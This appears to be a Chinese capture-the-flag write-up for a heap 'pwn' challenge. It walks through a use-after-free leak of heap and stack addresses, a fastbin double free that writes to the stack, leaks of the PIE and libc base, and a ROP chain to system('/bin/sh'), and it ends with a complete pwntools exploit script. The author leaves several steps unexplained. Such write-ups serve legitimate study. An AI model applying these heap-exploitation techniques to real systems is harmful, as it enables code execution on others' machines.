1 2 3 4 5 6
| [*] '/home/ubuntu/511/pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
|
heap: This command only works with libc debug symbols.
https://blog.csdn.net/m0_51251108/article/details/127098744
符号表 not striped
name那里可以输出栈上的数据
解题思路
堆地址泄露(利用UAF)
1 2 3 4 5 6 7 8 9 10 11 12
| delete(8) show(8) p.recvuntil("Name: ") sec=u64(p.recv(8)) delete(9) show(9) p.recvuntil("Name: ") heap_sec=u64(p.recv(8)) heap_addr=heap_sec^sec print(hex(heap_addr)) stack_addr=u64(p.recv(8)) print(hex(stack_addr))
|
sec和heap_sec异或得到堆地址,那么它们是什么呢?
1 2 3 4 5 6 7 8
| 0x560399e28450 0x0000000000000000 0x0000000000000041 ........A.......<-- fastbins[0x40][1] 0x560399e28460 0x0000000560399e28 0x00007ffef806f270 (.9`....p....... 0x560399e28470 0x0000000000000000 0x00007ffef806f3b8 ................ 0x560399e28480 0x0000000064646464 0x0000000000000000 dddd............ 0x560399e28490 0x0000000000000000 0x0000000000000041 ........A.......<-- fastbins[0x40][0] 0x560399e284a0 0x00005606f9db1a78 0x00007ffef806f270 x....V..p....... 0x560399e284b0 0x0000000000000000 0x00007ffef806f3b8 ................ 0x560399e284c0 0x0000000064646464 0x0000000000000000
|
0x0000000560399e28 ^ 0x00005606f9db1a78 = 0x560399e28450
需要泄露两次,两个相邻的fastbin,泄露它们fd位置的值,然后异或就得到了前面那个fastbin的地址了
https://bbs.kanxue.com/thread-272098.htm#msg_header_h2_2
泄露栈地址
为什么bk这里存储着栈地址呢?
是在add的时候,放入的地址???
奇怪..一步一步调试的话,栈上数据就没有..不然就有…
构造double free链,任意地址写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| delete(8) ......... delte(9) ........ delete(8)
victim=stack_addr-0x20 print(hex(victim)) for i in range(7): add(i+1,b'aaa',0x8,b'dddd') pay1=p64(sec^victim) add(12,pay1,0x8,'\x00') add(13,pay1,0x8,'\x00') add(14,pay1,0x8,'\x00') add(15,b'ccc',0x8,b'\x00') show(15)
|
victim就是要写入的地址,因为有异或机制,所以要和sec异或一下,再写入
为什么添加完三个fastbin,又会多了tcachebin… 斯….和tcachebin的机制有关…在分配第一个fastbin的时候,就给他们放到tcachebin中了…
栈地址怎么来的?
1 2 3 4 5 6 7
| add(15,b'ccc',0x8,b'\x00') show(15) p.recvuntil("Name: ") p.recv(8) pie_base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x1794 print('pie: '+hex(pie_base_addr)) print(hex(stack_addr))
|
-0x1794要根据具体版本变化,vmmap看到基址, 两个一减就得到了
这个地址是怎么来的呢?
找不到是谁打印出的pie: 0x55b9c409d794…
find 0x7ffc27616000 to 0x7ffc27805000,0x55b9c409d794
下断点到show函数,一步步查看
是在这里打印出来的,可是为什么这里会存储着这个地址呢??
在add中malloc分配空间的时候会分配到这附近..
glibc地址获取
1 2 3 4 5 6 7 8
| for i in range(7): add(i+30,b'/bin/sh\x00',0x3f8,b'dddd') delete(31) show(31) p.recvuntil('Name: ') p.recv(8) lib_addr=u64(p.recv(6).ljust(8,b'\x00'))-96-0x1f6c60 print('libc: '+hex(lib_addr))
|
分配的0x3f8再加上33 还是啥,大小肯定超了tcache的了,就直接进入unsortedbin,然后可以从这里泄露glibc的地址
-96 再减去和glibc开头的差值,就可以得到glibc加载基址
构造rop链子
这里直接覆盖的返回地址,exit退出,就会进入rop链
1 2 3 4 5 6 7 8 9 10 11 12 13
| libc = ELF("./libc.so.6") system=lib_addr+libc.sym["system"] bin_sh=lib_addr+0x1b61b4 print(hex(system)) print(hex(bin_sh))
ret=0x00000000000233d1+lib_addr pop_rdi=0x00023b65+lib_addr rop_chain=p64(ret)*0x10+p64(pop_rdi)+p64(bin_sh)+p64(system)
edit(15,rop_chain) p.sendlineafter("> ", '5')
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| from pwn import *
elf = "./pwn"
context.log_level= "debug"
p = process(elf) context.terminal = ['tmux', 'splitw', '-h']
def add(index, name, size,content): p.sendlineafter('> ', '1') p.sendlineafter('Index: ', str(index)) p.sendafter('Name: ', name) p.sendlineafter('Description size: ', str(size)) p.sendafter('Description: ',content)
def edit(index, content): p.sendlineafter('> ', '4') p.sendlineafter('Index: ', str(index)) p.sendlineafter('Description: ', content)
def show(index): p.sendlineafter('> ', '3') p.sendlineafter('Index: ', str(index))
def delete(index): p.sendlineafter('> ', '2') p.sendlineafter('Index: ', str(index))
add(0,b'test',0x28,b'ddd') show(0) recv = p.recv(0xe) fake_stack_addr = u64(p.recv(8)) print(hex(fake_stack_addr)) fake_lib_addr = u64(p.recv(8)) print(hex(fake_lib_addr))
for i in range(7): add(i+1,b'aaa',0x8,b'a') add(8,b'aaa',0x8,b'dddd') add(9,b'aaa',0x8,b'dddd') add(10,b'aaa',0x8,b'dddd') add(11,b'ddd',0x28,b'a') for i in range(7): delete(i+1) delete(8) show(8) p.recvuntil("Name: ") sec=u64(p.recv(8)) delete(9) show(9) p.recvuntil("Name: ") heap_sec=u64(p.recv(8)) heap_addr=heap_sec^sec print(hex(heap_addr)) stack_addr=u64(p.recv(8)) print(hex(stack_addr))
delete(8) victim=stack_addr-0x20 print(hex(victim)) for i in range(7): add(i+1,b'aaa',0x8,b'dddd') pay1=p64(sec^victim) add(12,pay1,0x8,'\x00') add(13,pay1,0x8,'\x00') add(14,pay1,0x8,'\x00') add(15,b'ccc',0x8,b'\x00') show(15) p.recvuntil("Name: ") p.recv(8) pie_base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x1794 print('pie: '+hex(pie_base_addr)) print(hex(stack_addr)) for i in range(7): add(i+30,b'/bin/sh\x00',0x3f8,b'dddd') delete(31) show(31) p.recvuntil('Name: ') p.recv(8) lib_addr=u64(p.recv(6).ljust(8,b'\x00'))-96-0x1f6c60 print('libc: '+hex(lib_addr))
libc = ELF("./libc.so.6") system=lib_addr+libc.sym["system"] bin_sh=lib_addr+0x1b61b4 print(hex(system)) print(hex(bin_sh))
ret=0x00000000000233d1+lib_addr pop_rdi=0x00023b65+lib_addr rop_chain=p64(ret)*0x10+p64(pop_rdi)+p64(bin_sh)+p64(system)
edit(15,rop_chain) p.sendlineafter("> ", '5')
p.interactive()
|